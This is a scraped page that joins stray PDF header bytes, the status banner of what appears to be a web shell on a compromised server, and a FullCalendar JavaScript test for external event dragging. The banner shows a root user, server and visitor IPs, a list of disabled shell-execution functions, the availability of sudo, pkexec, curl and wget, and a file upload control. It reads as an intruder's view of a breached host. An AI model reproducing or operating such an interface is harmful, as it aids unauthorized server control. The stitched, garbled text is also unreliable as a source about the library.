%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.146 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-drag/ |
Upload File : |
import { Draggable } from '@fullcalendar/interaction' import { getDayEl } from '../view-render/DayGridRenderUtils' describe('external event dragging', function() { var $dragEl var thirdPartyDraggable beforeEach(function() { $dragEl = $('<div class="drag">yo</div>') .css({ width: 200, background: 'blue', color: 'white' }) .appendTo('body') }) afterEach(function() { if (thirdPartyDraggable) { thirdPartyDraggable.destroy() } $dragEl.remove() $dragEl = null }) describe('with forceEventDuration', function() { pushOptions({ forceEventDuration: true, defaultEventDuration: '1:30' }) // https://github.com/fullcalendar/fullcalendar/issues/4597 it('should yield an event with an end', function(done) { initCalendar({ defaultView: 'dayGridMonth', defaultDate: '2019-04-01', droppable: true, defaultAllDayEventDuration: { days: 2 }, eventReceive(arg) { expect(arg.event.end).toEqualDate('2019-04-04') done() } }) thirdPartyDraggable = new Draggable($dragEl[0], { eventData: {} }) $dragEl.simulate('drag', { end: getDayEl('2019-04-02') }) }) }) // https://github.com/fullcalendar/fullcalendar/issues/4575 it('provides eventAllow with a valid event with null start/end', function(done) { let called = false initCalendar({ defaultView: 'dayGridMonth', defaultDate: '2019-04-01', droppable: true, defaultAllDayEventDuration: { days: 2 }, eventAllow(dropInfo, draggedEvent) { expect(draggedEvent.id).toBe('a') expect(draggedEvent.title).toBe('hey') expect(draggedEvent.start).toBe(null) expect(draggedEvent.end).toBe(null) called = true } }) thirdPartyDraggable = new Draggable($dragEl[0], { eventData: { id: 'a', title: 'hey' } }) $dragEl.simulate('drag', { end: getDayEl('2019-04-02'), callback() { expect(called).toBe(true) done() } }) }) })